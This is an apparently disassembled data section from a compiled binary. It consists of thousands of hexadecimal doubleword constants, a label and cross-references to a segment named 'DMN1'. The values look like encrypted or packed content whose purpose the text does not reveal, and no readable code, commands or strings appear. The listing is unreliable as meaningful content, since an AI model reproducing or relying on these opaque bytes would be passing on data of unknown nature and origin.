		dd 5A0C42BFh, 0B6136C8Fh, 0DDB93EEBh, 2FABC3F6h, 7748E67Dh
		dd 0D69A6377h, 26FE5672h, 1FE277AFh, 10400269h,	480DE8CAh
		dd 0E41552B1h, 0AAD84C7h, 1A1848C5h, 9ACB3AC3h,	1CD12BBh
		dd 1AC6CD29h, 15F1CAD2h, 4547574Ah, 0CB2419EAh,	7710863Eh
		dd 145AE2FBh, 3DD6EC65h, 525B36Bh, 6A29518Fh, 11BD13A5h
		dd 87E6AC4Ch, 5E8974B0h, 0E1559B87h, 12E6067Ah,	63C863A9h
		dd 0D69D0B78h, 4F4B4052h, 0B04F403Ch, 442695CAh, 747500D4h
		dd 875583A6h, 0B4519DCEh, 0CEDA134Eh, 423C266Ah, 2B6D2A55h
		dd 225F0261h, 0C60BE8CAh, 0EFCB0415h, 4966DD2Eh, 7B774A0Fh
		dd 8B44D4CCh, 0F8B5F72Ah, 47CD5A9Ah, 953D22A0h,	39E15705h
		dd 0AC58B2Ch, 0C046D396h, 0F1AD4B08h, 7513EC5Ch, 6766367Fh
		dd 253E571Bh, 2A7AB881h, 87BB1EC7h, 0CB303735h,	6C542231h
		dd 95E49467h, 0C62A0B32h, 0B7E9CEDEh, 0F5AB10AFh, 9E968CCBh
		dd 0EADBA978h, 6D798833h, 4254897Ah, 1B9A0EC9h,	0A728DA75h
		dd 28BAEF62h, 0EBE33F24h, 0F4260827h, 48830BB3h, 11D1D286h
		dd 2ABD9F43h, 0AC259B85h, 8CB23BFh, 172EB3AEh, 6244201Ah
		dd 9D5C4010h, 3FFCEB50h, 0FC585F5h, 0E6454213h,	0DDF64997h
		dd 990DE9ABh, 0C631CD6Bh, 0DA7BC03Dh, 0EE06BA87h, 0B2FFEECAh
		dd 0A141937Bh, 1494BF02h, 96D33917h, 75FF4B21h,	0F832B101h
		dd 0AEBF658h, 0A810A8C3h, 0C6A39414h, 1BCE7F29h, 7EF89D72h
		dd 0F0E8F90Eh, 0EB4CBBBh, 0B2FDAC65h, 301EB056h, 0A6AA7437h
		dd 5CED0098h, 320B5AE5h, 3C7303F1h, 76C419D3h, 0E7803739h
		dd 3BCDF7C5h, 0E2CD5002h, 0EE150E62h, 12B8B0BBh, 54B388A4h
		dd 6710853Ah, 0EBC15AEFh, 4EADB434h, 8FE13B5Fh,	0B7C0421Dh
		dd 11F9437Dh, 7FE974FAh, 654C9D46h, 9552460Ah, 0EC5B2C3Eh
		dd 61715206h, 33ABFE1Dh, 83B7CB7Ch, 0FA1290AFh,	467107h
		dd 0A15968D4h, 0CE6EE30Bh, 699A22C8h, 0B5FA1347h, 3345909Dh
		dd 0FD36D217h, 2B3B0234h, 4556E023h, 0F6D1D1B2h, 0C195F576h
		dd 0D4E51AD0h, 4F886737h, 0D89D0B42h, 0DC37B110h, 9324CDE2h
		dd 1AB8A83Bh, 24845DBBh, 7F11F6B7h, 0DF539C52h,	0BFB831BBh
		dd 9ADA469Eh, 1EFEB8A1h, 0DD061182h, 7C027F20h,	0AD0BE948h
		dd 969418F3h, 1AB7041Dh, 4DD72F47h, 0F0684F3Ch,	4F046AABh
		dd 2AD3CCC2h, 6B3AE678h, 0A4109C29h, 1D12662Eh,	6A3336DDh
		dd 42D184CDh, 0CEBCC96Eh, 4B69DC29h, 0EF6A847Ah, 0D76BB835h
		dd 6E905A06h, 0A57A749Ah, 0D2B4FDCh, 655798CBh,	0EC5DF62Bh
		dd 69CDA730h, 872A3593h, 9547524Ah, 56401A3Ch, 75EF02A1h
		dd 0E2E093Fh, 0F3970490h, 0CBA6B920h, 0DB9552B7h, 187C4F78h
		dd 819295BBh, 2CC3674Ah, 81478B3Dh, 6E5965ACh, 1BD27A1h
		dd 0C467C31Bh, 0A182C4A3h, 47CDD3A0h, 0FECB6481h, 5C374C72h
		dd 29BDA6F3h, 0AEE2FD72h, 56DA4C8h, 7434E3A6h, 7D663950h
		dd 0A0890071h, 1B032FA9h, 714CD9E5h, 6A9D1714h,	0A7559385h
		dd 0C14A0D26h, 0E14D0B62h, 0F3E2C119h, 91E636F7h, 97B46C43h
		dd 0A6B3CACEh, 0AC97E992h, 8B4D0932h, 92AF9C8Fh, 3EA6B224h
		dd 4407B834h, 11053884h, 83FCEC7Dh, 49FCE5B3h, 96E80692h
		dd 18AA7C6Ch, 76CC9EF5h, 0BBEA4603h, 8FA2671Ch,	50CA5635h
		dd 0B2CF32FBh, 5E6AED47h, 36D518F3h, 6895E465h,	8A1038CDh
		dd 0B22152E1h, 44F761A7h, 52B6B275h, 0A254EEB1h, 6D7DD3F1h
		dd 0FFE9C576h, 0E0A16245h, 604D4CBh, 9D22F727h,	5AE04D4Bh
		dd 5D9ACA9Dh, 0B2FD23C2h, 9E1780D8h, 92D3DC99h,	7ACFFCABh
		dd 0CE4416A4h, 0F6DAAED7h, 0D3064640h, 1107709Bh, 973C0F02h
		dd 289AC18Ch, 0E9FC8F53h, 0C2A6E767h, 0D7393194h, 631C4B96h
		dd 8768F2AEh, 68BFA13Eh, 823CCD89h, 9914EFECh, 0E5A14379h
		dd 0B0CAEC4Ah, 81D31832h, 0BEF4E404h, 817A4FB5h, 6E738FA6h
		dd 0E3DDF8CFh, 0FFCCD383h, 4DEE8774h, 97047084h, 58B6774h
		dd 6F5A9122h, 0D531A57Bh, 1559A098h, 1BE8AC8Fh,	0B05996Bh
		dd 0D3D4027Dh, 1E5DE91h, 1513EE1Bh, 0F6CDE832h,	0D873B685h
		dd 297A45B6h, 0EF8E2DCh, 5B468A8Ah, 0E442DC83h,	0FBF6873Ah
		dd 595A75D3h, 0F091BF42h
		dd 54B69BA7h, 0F237A998h, 0E4B19F4Dh, 5EFE0DAAh, 30C24B7Eh
		dd 17F413DAh, 53CFB58h,	3030AF62h, 8E2DC696h, 5D0EF7E4h
		dd 9A24B830h, 5C42B2EDh, 5EE67F02h, 16159F92h, 7D54DAB7h
		dd 9C5C08DFh, 18CC265Dh, 659AE7E6h, 3AB5D5C0h, 1F4C3DE1h
		dd 28E2C7EDh, 0F4E40FDh, 0DD5D414h, 53DA40DDh, 0DB90E525h
		dd 1CC8BF62h, 0DAA18B1Ch, 1526F2FCh, 0E4102EAEh, 12C0A72Ah
		dd 9DC6E7D9h, 236D77D1h, 0A05BBCBh, 5DD4CF53h
dword_455000	dd 585D3771h, 0CA6B251Ah, 0E581437Eh, 0C2028C4Eh, 8623D43Eh
					; DATA XREF: DMN1:00442FA0o
					; DMN1:00453478o
		dd 7E33EDEBh, 0BD45D1h,	0C2E0DEEAh, 62BFEB44h, 0ADF7D9E7h
		dd 0A569D576h, 526A1531h, 25CAA4B7h, 0E07BF4ABh, 0EE4DDBDDh
		dd 98DA4967h, 2E052BAEh, 43B32174h, 6F218579h, 80C34919h
		dd 9393FFC0h, 63DA3F85h, 9B42B0B9h, 7A1566h, 64F79F2h
		dd 5E30C9B5h, 68C791ADh, 0EC600E9Fh, 6172F7F6h,	202EEAD4h
		dd 89EF4B68h, 47942203h, 1068E82h, 0DD8A3DA8h, 46937BBDh
		dd 9FBC35DEh, 0D5B1FBB1h, 0BDB7D88Ah, 93AC5D3h,	0FAB74B50h
		dd 55EB391h, 3C7D99B8h,	3F74EA18h, 28A31AC3h, 23E865AEh
		dd 0C1D582DFh, 6ECD591Bh, 0D8090E1Ah, 0B331FD0Ah, 0C02A8DC5h
		dd 0A7107F54h, 7E281980h, 0F4DD2C15h, 0F6DAEC3Fh, 269E5C85h
		dd 2A7AAAF2h, 0E53BF9F1h, 3B334748h, 0EA154BA4h, 94D246BCh
		dd 614D6E01h, 36D84E1Ah, 0E66ED2DDh, 0C594E61Eh, 0F1B22C9Eh
		dd 0D7D302D4h, 353268BDh, 0CB62F9DBh, 5E500B16h, 0CFBB4F16h
		dd 8C732DD7h, 0AE800096h, 7150098h, 3475A51Ah, 39BDF50Bh
		dd 528016A5h, 600B6730h, 0B7C2F728h, 9BE16602h,	111EEC5h
		dd 7B6DDEDh, 84B31A7Fh,	5743D4EAh, 0D45AF074h, 82935782h
		dd 0CF019028h, 7F2EFE2Bh, 0CABD599Ch, 87ABF9E8h, 0EBF02A2Ch
		dd 0F10439Eh, 94DA8CDAh, 0FFB8BFF4h, 0F848EA3Ch, 0D9A10131h
		dd 7FCFCCB6h, 545101D5h, 0ACAAADA0h, 4B013F17h,	0C627A17Dh
		dd 0B7BEBDBBh, 94352666h, 45FB355Ah, 25808B5Bh,	0B62CDB46h
		dd 9964D1E2h, 0C60309EFh, 5579DE4h, 0E5210128h,	0F1030798h
		dd 1B64F6FAh, 0ED15EF0Ah, 0B54A46A3h, 0F615256Eh, 0B72B0ADFh
		dd 0C82E01AEh, 78586E43h, 8A2017B0h, 0DF01BC31h, 65F210F3h
		dd 0AEA58A3h, 2AAD2683h, 0F0C6ADAh, 613F61DEh, 0D9503DFCh
		dd 0FBC99608h, 3A7CACFFh, 8885A0BCh, 77C4B9Eh, 0E619EFC0h
		dd 28D83759h, 1C43B89h,	0E16180B0h, 9ADD604h, 0F712DD6h
		dd 90820097h, 11A41E4Dh, 0BD51AC6Eh, 8CB640C8h,	757E90Bh
		dd 0D36C238Fh, 6C68C73Ah, 3F96F192h, 0C092F19Fh, 50FF263Ch
		dd 27C7CF78h, 0C99B8539h, 0CFE479DAh, 1746831h,	432265E0h
		dd 0FF9F5B7h, 0CC79C0ABh, 0A7B9F5E6h, 0A98DD9D3h, 867CAEC4h
		dd 0A0E788D0h, 0D4DC0672h, 26DC4225h, 2FF983B4h, 27BF1BDBh
		dd 871EFACAh, 0B47D8D5Bh, 7EFD5FF6h, 512838A6h,	5D7CC8EDh
		dd 5485A495h, 0AB8DB051h, 1D8E7DE5h, 0B72428F9h, 536CA56Dh
		dd 0C271C470h, 74626B1h, 0B34C3387h, 6C56CDF8h,	0A7752DF1h
		dd 0D592DF3Ch, 1833BC91h, 730E5F95h, 9734D5AAh,	0FBA28049h
		dd 65DB3BDFh, 0A1A52D67h, 0FF363982h, 0E6B3AE1Fh, 6CFC90B3h
		dd 909ED53Eh, 375F1E56h, 18DC447Ch, 0DD2574A7h,	16E01B15h
		dd 3AF5FEA8h, 9CC0C2BCh, 0BA079B71h, 59C9DDEDh,	0B2391B08h
		dd 0F3D79173h, 4D097F1h, 0C7BA8617h, 5A22988Bh,	7F73DEA3h
		dd 749ABE9Ah, 349756B4h, 3652B1E5h, 0B6BC27F5h,	0F6F73441h
		dd 15A11F69h, 0EA315B21h, 0F5D9419Bh, 34024DEh,	0A8118BC1h
		dd 0C39BCB76h, 3F5ECE6h, 0AEAF312Dh, 0E762D67Ah, 5F05F852h
		dd 59F4CD65h, 0F5002AE2h, 0EF297DFBh, 0EAF3A974h, 0E71A9BFBh
		dd 0FF95825Ah, 0B3975857h, 87C78236h, 0E8CF202Fh, 4B878A76h
		dd 0A8F4D1D7h, 5DC93415h, 1218748Dh, 0CBB59135h, 6A8DA317h
		dd 5CECB9DCh, 9EE98B9Eh, 2EC9D09h, 48F84E9Bh, 0BCA580B2h
		dd 94AC46B2h, 9290D0Bh,	0BB280851h, 51CED141h, 83E45D41h
		dd 5ECD4DA3h, 92D0C766h, 7B998929h, 12F32BE7h, 34DD8C6Fh
		dd 3C4E2DFFh, 0B1753C03h, 0E281A00Eh, 7CF61114h, 0A13E72E8h
		dd 1CC8EB9Eh, 81EC5822h, 75AF929Dh, 70D162CBh, 0F81775B3h
		dd 57513ABCh, 0E39DC88Eh, 23F74676h, 522D8298h,	13080E8Fh
		dd 2494DF5Dh, 4376262h,	0D885392Ah, 89078B09h, 0EBC9144Eh
		dd 0CDD29966h, 12437BECh, 6CE31601h, 0BF37981Ch, 0E6728D41h
		dd 0D24C431Bh, 7946DEBh, 5F477EC6h, 27CDE4CBh, 3649652Dh
		dd 8DF6654Eh, 14DAFD7Bh, 0BCD75C1Fh, 1FFB1893h,	0B795DC89h
		dd 83F24F82h, 5A185BEBh, 394B997Ch, 9125C8E7h, 0ED1A9E72h
		dd 660C65F6h, 0FE588F6Eh, 4A1CD13Ch, 381692E2h,	92BC072h
		dd 65C90586h, 3EFDB3DDh, 4409C4C8h, 0DF10BC09h,	49F82EC6h
		dd 0C8170B67h, 7A38173Ch, 0DC534A58h, 0A076DCFFh, 2DF2ECB3h
		dd 20E86467h, 2AD992E2h, 28BFBB7Eh, 72E6C02Eh, 59B8EAE1h
		dd 67B78B70h, 0A1D3EE21h, 455D492Dh, 31571A95h,	7CD64979h
		dd 0C21DD07Ch, 10371884h, 0EB401F16h, 0B19C386Ah, 69B67CEEh
		dd 6FB92F87h, 41B858FDh, 9AF41C12h, 8996467Eh, 0AEE3AEA6h
		dd 21AD57DDh, 8DBA9DDBh, 8C44CE08h, 0C1976EE7h,	1CD6E7BDh
		dd 0CF58ACE8h, 816E3985h, 34EE8B9Ah, 2DC582C2h,	44F3099Ch
		dd 0ED8D7CBEh, 0BD774CE3h, 89886573h, 0AE5A02F4h, 2CB2BA93h
		dd 941CF9F5h, 0A5A8800Eh, 4B0EE7h, 0BC4D8DBCh, 0C4E0EF2h
		dd 0B9A802A5h, 0D32820C8h, 5B68B12Bh, 84CD3088h, 85C40AECh
		dd 5EF7CEF6h, 964F8905h, 91955B0Ah, 0F00E02h, 895273FEh
		dd 1C9576h, 0A37911D3h,	966D28Eh, 8EC4B141h, 994EEB17h
		dd 8358D18Dh, 0FFA26ECAh, 78FCBF61h, 128FB053h,	0BBB90001h
		dd 0C34A8ECFh, 7944D1FBh, 430CE71Dh, 0B46C5F24h, 0F0A899EFh
		dd 0FF03222Bh, 0FB64E89Ch, 0E371C1A3h, 0C0A881DDh, 5F546161h
		dd 62EF6336h, 4BA6A005h, 31D236C3h, 2342EEF0h, 0DB03916Ah
		dd 0E1CD0460h, 96ECBFEFh, 0B19E3E61h, 9F374877h, 1A0BFC63h
		dd 0E3344366h, 0FD3BC1D7h, 6714A0E7h, 0F58B75CAh, 0C604C571h
		dd 7083852Bh, 91E1B03Ah, 0CC48322Dh, 2549A3BCh,	0F8E62C3Ah
		dd 1C45A081h, 0D01EE70Eh, 2BC182D3h, 590B5A9Dh,	0F10194F3h
		dd 522A1920h, 0C73DBEFEh, 64E20522h, 41F0504Fh,	0E4195492h
		dd 0A8A7E97Ch, 0AC1808ECh, 4FECF928h, 0CE61C981h, 7777F9C5h
		dd 0C64ED4EFh, 0D0653A36h, 88DDFCDFh, 0E5112965h, 0A572C47Ah
		dd 96433894h, 96409B8h,	0D60C39CEh, 8AEDAE81h, 0B62E2CE3h
		dd 0F8165D05h, 0DF975B4Dh, 0C7E03A7Bh, 0B1A1EF6h, 0AD2C02C8h
		dd 6AA0ED3Dh, 0C0092F23h, 0BE73815Fh, 539D639Ah, 48C6E8C3h
		dd 36A6B141h, 46E9F4F0h, 0EEB26374h, 0A668617Fh, 0DC79EF6Dh
		dd 5BB1AB3Fh, 301D4A51h, 0C8B06D4Dh, 0EA943222h, 98D05F1Fh
		dd 972F19D7h, 67044A74h, 8F0CB7CDh, 27044B7Bh, 5E40E903h
		dd 83132ECDh, 4E50AD42h, 0ECE47AC9h, 0A0768BA7h, 0A7F37A02h
		dd 7757D2F6h, 3C93D733h, 0CB710143h, 3A5E0DA2h,	6D9E78D4h
		dd 96E9437Dh, 0CAA712E1h, 0BF3A6B0Ch, 0DA57AF50h, 3E049315h
		dd 75FA67E7h, 0D7CEE8C3h, 8FAC30D5h, 0B1280C0Eh, 0C63DE173h
		dd 628B6541h, 655A9C82h, 0C4B2B983h, 0DA71C072h, 73A8867Fh
		dd 0BDA30358h, 86EF90BEh, 0EE65CDD0h, 605FF0F2h, 0C18D1A86h
		dd 0D12B2E84h, 9A0D1D01h, 0F63DD518h, 0E2992EFAh, 0A93A86A0h
		dd 0BE49F10Bh, 7325CFA6h, 893EAC55h, 30464D5Ch,	0A175E903h
		dd 38140A8Eh, 518325A3h, 839C083Bh, 0ACD35E09h,	6F3CC109h
		dd 577D805Dh, 6BB80210h, 6BAA0B66h, 81AAEFB7h, 65B20C6Ah
		dd 2EE5C20Eh, 0B7F27C2Ch, 0A4618C83h, 9652FA8Ah, 223636E8h
		dd 327FFF72h, 550F893Ah, 0C58B4E2h, 711582Bh, 5861CFEFh
		dd 0B1D382A3h, 3314F332h, 0E2543AF9h, 6DAB617Ch, 8B61A8FCh
		dd 0B572853Ch, 2ABF852Ch, 51F3F6FDh, 0AA2C3E96h, 4C254DABh
		dd 30764BA3h, 0A115EE83h
		dd 7E53088Eh, 0C1DE35EBh, 816434Ah, 11A826C8h, 70A08BF2h
		dd 1708EF56h, 0B428835Eh, 3CC04CD1h, 69C92899h,	0F5B4B8BDh
		dd 154112E1h, 8A278A2Dh, 0A6A2632Fh, 0F4F5F8ECh, 28B2BB21h
		dd 45248326h, 0E5477922h, 3F2E89A9h, 136DEA41h,	3AA13D89h
		dd 90FE74E9h, 6A40347h,	0A4805E45h, 0E1CE592Bh,	0D340BEB5h
		dd 4927B0F4h, 96476B49h, 147531CCh, 7A1C4F32h, 0C045048Bh
		dd 589EC10Eh, 0DC21C6F2h, 341E068Fh, 1FE6BE9Ch,	0DD46FB38h
		dd 0A045B6E5h, 0C7CCB625h, 29F7D09Ah, 8BB2C53Fh, 85530866h
		dd 3A336D51h, 8DF8A57Ch, 1575C10Dh, 3EB68077h, 2A5010B8h
		dd 0DE265E07h, 0D4CDEBE0h, 552CD7AFh, 523B78C2h, 3F0E3E61h
		dd 0D2EF7AB5h, 0D6C6A235h, 800E66D6h, 820CE287h, 0AE971E85h
		dd 133E91A1h, 0EB4BD6FEh, 0A19B4509h, 96514ECEh, 0D4F2ACB8h
		dd 7AF75236h, 26AB91Eh,	0BDE4C697h, 5F4787ABh, 379A8771h
		dd 168E38A2h, 702146BDh, 3D4F12F8h, 6B6E4D8h, 9A90EAE8h
		dd 64B23928h, 8F968B99h, 19102FD6h, 1A53A578h, 0EA4D81F7h
		dd 78F8919Ah, 13FD9AB6h, 0C9218F01h, 5F4D5417h,	2D15FB80h
		dd 0E1473F58h, 3CFC0A95h, 7F55E611h, 0CA7124D9h, 0B8BF8529h
		dd 4029137Ch, 26EBFE41h, 0F7B318A4h, 6BA19CFFh,	5E652D79h
		dd 0D5CF7A43h, 6E9134B7h, 4535636Dh, 779D3FD7h,	0E0545163h
		dd 0D57714C3h, 1B04EA3Ah, 0CAEF712Bh, 77B6AEF4h, 6C23A172h
		dd 2EB66D40h, 814747D5h, 94D6B928h, 5E7D3713h, 186C1730h
		dd 324B9AB1h, 15A45060h, 3366F638h, 0A7970EA3h,	0AB04A3FAh
		dd 5FC9278Ah, 0D3D9BACCh, 3A3DBC75h, 89B4FB16h,	3658BD7h
		dd 244E5B61h, 84A8C8D7h, 0EF71F3FBh, 0EA310165h, 11EED2DCh
		dd 0C8FD1572h, 0F86ABAE9h, 397BC093h, 797380A8h, 8500047Eh
		dd 220EE007h, 3B385EB3h, 0FFDC4EC8h, 0C8575BD0h, 1D63B676h
		dd 0AD029B98h, 0D34E4E8Dh, 4495B0Ah, 0E604B837h, 74D8DE92h
		dd 6188CED1h, 14E47B4h,	1D21D790h, 45A27ED4h, 8719E6C1h
		dd 0B78CE64Dh, 0FDE57F7Bh, 57E24508h, 0A6190753h, 6C3D0204h
		dd 70B4E372h, 0FB100D3Ch, 3F13EFAEh, 1EA992F7h,	1339E6F0h
		dd 0A467BB65h, 0EFA0CD6Ah, 0E0969D9h, 5E623D86h, 0D87CD5EDh
		dd 13A1F515h, 0A1572276h, 0A8F90C81h, 0B5AEC71Ch, 41181A86h
		dd 55E112FBh, 42E3613Fh, 7F9B0B7Dh, 77599175h, 0A9C35365h
		dd 1D882F60h, 0B30DCBCFh, 41647546h, 2E776B53h,	8DC8A97Bh
		dd 1555A747h, 303DA043h, 5838156Ah, 16B63747h, 57223DA1h
		dd 0A11A00D3h, 76B24C3Eh, 8B8F56Ch, 479DC148h, 0FA2F9686h
		dd 44896928h, 0B46D434Bh, 6CE4DE9Ah, 0BD9AE94Ah, 66E8C152h
		dd 610FBAFEh, 1455001Ah, 5F4BA229h, 0FD47C4A8h,	0C79C7EAFh
		dd 0FD13B2Dh, 41C7F1C6h, 89B64C76h, 0C4360D14h,	4EA56F0h
		dd 0F2B92F0h, 70B674FDh, 1DE33850h, 0D87638FAh,	34A189DDh
		dd 0D6839822h, 1A775B6Ch, 0D49CC8FDh, 8743D3F2h, 3CE07231h
		dd 7B6184D5h, 0BFB5BD0Fh, 466DD2C3h, 15E57762h,	142BE768h
		dd 600007BEh, 3D1ECFCh,	0AE698807h, 49A577C4h, 0A4EE52DFh
		dd 49FAA6Bh, 70E7024Ah,	45094C66h, 64697AD5h, 70A50AC0h
		dd 0C173312Dh, 8826152h, 2C1C493h, 61E4BD3Fh, 5461E577h
		dd 5C5E56D7h, 7BE9F499h, 0D12F1239h, 773C04E9h,	0D94F182Fh
		dd 27FCB807h, 514782F1h, 78911ACEh, 0A1132E85h,	0E8D82A12h
		dd 7845A405h, 88C03D46h, 7AA144CCh, 5441D538h, 924DC50Ch
		dd 0E207613Dh, 3A171EEDh, 68180020h, 0D67EEEFCh, 28B66115h
		dd 0F0EC321Eh, 61144144h, 14DCCCDEh, 76F0517Eh,	0F470BAD8h
		dd 0BBD36D59h, 71FE0AC8h, 0EFC8D0A3h, 368E4683h, 6F2B0EFh
		dd 83EC7B80h, 0CA2B6DABh, 9DBC462Ch, 0FD62C3F5h, 63D22EC9h
		dd 97A22CD4h, 0B0BCDC4Dh, 3834CB61h, 0B0A86F9Ah, 0F62B319h
		dd 2510290Fh, 2481A949h, 0BE5ECD79h, 0AB9E074Bh, 730EBE91h
		dd 0D5B8C8A8h, 0B215E73Fh, 0E098F335h, 0F3BF9DADh, 1CF2FFC2h
		dd 7393E79Ch, 6E33ECC0h, 0A87E9AA7h, 9A94674Dh,	1096840h
		dd 40F03E00h, 0E8703AD2h, 16D04533h, 0BC20AE51h, 8DF9F82Eh
		dd 6FCD061Bh, 13093AECh, 0ECC80EFCh, 0A4D941DCh, 6149FEF3h
		dd 0E617F885h, 98DBBD8Bh, 0E5424FF5h, 0DF066D6Bh, 6182015Eh
		dd 1C9FEC89h, 3E60125Ah, 0E060767Ah, 97B5B906h,	4014B5C2h
		dd 5B0F61B2h, 4BDF39DDh, 0AD34E093h, 0AD24A77Bh, 0E23003Dh
		dd 8F88E68Ah, 60F805ADh, 0BBC44760h, 347F1F28h,	7E162CBEh
		dd 1E171B5Ch, 0E9C886E6h, 64722909h, 0B7E44753h, 41A3A6EEh
		dd 0D82E7C07h, 0A757C4F8h, 48B267BBh, 6D635D2h,	4057EA9Dh
		dd 215E1484h, 9FEBD179h, 0D5471B79h, 172F2EE5h,	0B5FD1Dh
		dd 248760EAh, 0E47422CFh, 9B9BEB49h, 79007FDFh,	0B573DD7Eh
		dd 14BC58D4h, 0FA422C07h, 794DCD32h, 0A6776B1Eh, 0E5B7BD70h
		dd 4BF3BF0Eh, 612D76E2h, 248CFEF9h, 0CD1F132Bh,	5439FB5Ch
		dd 29EEF0A3h, 29F92CA7h, 666A5F45h, 0E736E19Bh,	771F648Dh
		dd 6435AD37h, 0E87A957Ah, 69ADF52Bh, 0C4A046FAh, 8BD87839h
		dd 13FECA8Ah, 40880CC6h, 0DD65EE31h, 422579E8h,	0D5FFFB65h
		dd 0C5A6DEEAh, 2667128Ch, 0BCE5B8A0h, 0B28B456Ch, 441090F2h
		dd 0BE7C1D3Bh, 358054D8h, 14476454h, 7F171210h,	0F454BAC0h
		dd 3C6E78F2h, 0C1F7B84Fh, 5795B1A0h, 0BA557686h, 0DF5E4B05h
		dd 99283DC1h, 5BD61AB5h, 9CAC4D7h, 30124A7h, 0EFA7E45h
		dd 0E7C90FF8h, 7571F056h, 5A69C0B8h, 0D9C37A81h, 0AFE512h
		dd 0E45FC44Bh, 0CFC03459h, 0D3CECB56h, 0BF5906AEh, 5F1E9587h
		dd 18B39E06h, 0B5E81C9Ah, 9E97C53Dh, 1E8A6BA5h,	910DEAB5h
		dd 787F68h, 0E9F47CE7h,	0E991F803h, 0E5840C12h,	911F1866h
		dd 785D6E7Dh, 0C0CEE86Dh, 6CE004F1h, 0BBDEBD5Dh, 23113AB3h
		dd 17437ED8h, 56E04852h, 0B72FF6B9h, 7A16E8D8h,	0D2D30D28h
		dd 6CC1CF25h, 5A6A4EA9h, 0E6C9FE57h, 0CE98647Bh, 7E763ECFh
		dd 0D4198A71h, 9BB1F4EFh, 7B67C5B6h, 0D6A5E386h, 32212CDDh
		dd 0BCC38B07h, 0A7954E86h, 1F480E67h, 1512DFDBh, 985A0126h
		dd 8B00F4Ah, 3569D69Fh,	238C4A0Bh, 11B3B4B8h, 4137A786h
		dd 0E9283656h, 0EB81AEBAh, 4A5A29FDh, 0E394FAC8h, 4D18BE4Bh
		dd 4F83C228h, 0B1EDC4A8h, 0DEAE52E5h, 1752EC85h, 298157C0h
		dd 7B360194h, 32AA467Fh, 796C664Ah, 0B715A177h,	1A3E59FBh
		dd 0F44270C2h, 0F053C092h, 5D287BAEh, 884C0C9Fh, 0B498E2E5h
		dd 0B4807771h, 6A08762Eh, 0BF2863ABh, 0A65DC6C2h, 0DD3399D9h
		dd 63E22623h, 9ED1EEFEh, 0AC4D71C6h, 41856A8Ah,	0FBA1CF63h
		dd 0F43F686Ch, 7FA21B28h, 3F0B703h, 589AEC1h, 630EFC88h
		dd 0B981DAFEh, 0BD677986h, 4D465AEBh, 5C10B100h, 0F0A8FA5Dh
		dd 8086640Dh, 2727C3D5h, 6B04C277h, 0B561809Ah,	26F90CA5h
		dd 606A17C8h, 91091C4Bh, 83AF162Bh, 0E1773AB4h,	899E5F57h
		dd 0F080BC94h, 0ADCD67D3h, 0F4BDB2CDh, 0C1C4E808h, 0BFF79F23h
		dd 0D41BC780h, 0B1481EF8h, 0E0CCA67Dh, 518B772Dh, 0B215C494h
		dd 6EC210ADh, 26CD8CA8h, 0AE562E1Dh, 0C5D67220h, 9BCF297Ch
		dd 0E311016Eh, 406EA6F3h, 7F504C0Fh, 0BCDB44EDh, 4D5648EFh
		dd 2487C7C6h, 936E602h,	0FA370AEDh, 894808F4h, 1E0CEFD1h
		dd 0E1DE0117h, 0F579FB81h, 170DFA28h, 255651EDh, 4356DCh
		dd 0AAFFC0C4h, 0D11A7B51h, 7548E201h, 9B6FD924h, 0CB445D33h
		dd 6E987755h, 37E8674Dh
		dd 0DC398DF6h, 32B26B02h, 89E8B736h, 76A5473Eh,	9C729Bh
		dd 17E8693Fh, 0E2628F6Eh, 0D1342641h, 85A4DF3Fh, 0DF38BE4Bh
		dd 0EB9D31BCh, 6FEF3FF2h, 0DB506E0Bh, 0B0DB04E1h, 4DA76D92h
		dd 0B3B1D09Ch, 0C2F0555Dh, 0E80BAF52h, 0E2D8F6BFh, 4599F77Eh
		dd 0C53944Eh, 8FD5FCBDh, 167B7B5Dh, 2D2D9DA7h, 0BA9A81DCh
		dd 0B8D23AB2h, 998852Eh, 0D062801Ch, 0D439C1F0h, 9C524F3Ch
		dd 0FC9ED8AFh, 7A413E14h, 2B6ABFF7h, 5CF57D8h, 0FF65B732h
		dd 87612952h, 0ACA4388Bh, 20FF6901h, 8B9C3F31h,	95B1C698h
		dd 0C03126D8h, 98304306h, 0FC2A06C6h, 84ED0E8Eh, 50D94184h
		dd 3FAF7D03h, 0B634FD9Bh, 2E0B052Fh, 0A6F6B1BDh, 3157536Ch
		dd 2F297FC0h, 0E391CE3Dh, 95E6F1E8h, 0E2B3F4A5h, 0E9EA1F8Dh
		dd 3602DC91h, 0AE1AD6DCh, 9D0FCE5Bh, 8B667B49h,	0A52F7B62h
		dd 0DB77C2E0h, 535D3524h, 9D7D154h, 0C868E34Bh,	56627569h
		dd 2BB26901h, 29E8B72Eh, 9EA59921h, 0B74C38BBh,	710074E2h
		dd 679DF495h, 19E156E7h, 7FA4D185h, 23B99BD2h, 1D0F0EBDh
		dd 78ED9482h, 8A3E5AF6h, 0BD22F139h, 8E47C9C7h,	5B8A4E39h
		dd 0D6808F22h, 48D2FE6Ah, 10A40CCAh, 337A08FCh,	4A96E063h
		dd 4CAE675Ah, 602DEF76h, 0A40A9D15h, 3232D527h,	1C3DCAB8h
		dd 0CE95D4A2h, 0E7EDFB31h, 60189EFh, 0A4624F3Dh, 0E403AB26h
		dd 0D6D898ADh, 0D41EA16Ch, 27341D18h, 99D7CDDDh, 291293A1h
		dd 6C439758h, 0E4509EE5h, 946171DDh, 66BEF867h,	0BFBCE85Dh
		dd 0E1BD8E77h, 0EB856EBAh, 6CEC7358h, 442BBD59h, 0BC3D7FF9h
		dd 4D4D48CFh, 249FFF86h, 32DA6782h, 0E496EB12h,	2C9DEBE3h
		dd 74A9F173h, 6536CA46h, 0B58FCB2h, 61B3A79Dh, 3031C197h
		dd 74F5F9DCh, 6C854560h, 5070C46Eh, 7B43768Bh, 5903C11Fh
		dd 0CB7A4B26h, 0F53D21A8h, 379798A9h, 0D325B1EAh, 0F5DFB21Ah
		dd 0DC1748ECh, 35FBC355h, 14112BADh, 0D2E51E15h, 2DCE7E74h
		dd 314DCE9Bh, 3C31DEE9h, 1BEF5560h, 0D7F3D8C4h,	0C999C98Ch
		dd 0FE596567h, 0D176AB8Ah, 0B24291A5h, 0AE03CDA0h, 4D10C04Ah
		dd 56349372h, 80EC60CBh, 0E278B760h, 0B6DFB4E8h, 2E5E63DFh
		dd 0AEE0CEF7h, 269789EEh, 43014409h, 2DC805C8h,	2BFD8725h
		dd 0E421768Ch, 944FB5E3h, 0AB615889h, 0B5F8D154h, 331339A3h
		dd 7DDD1482h, 360762h, 0DA17483Dh, 8FF2CADEh, 0ECB3A3B1h
		dd 0D9006D9Fh, 0B4EB9ED8h, 94385564h, 3FA4D1A6h, 0E03F1609h
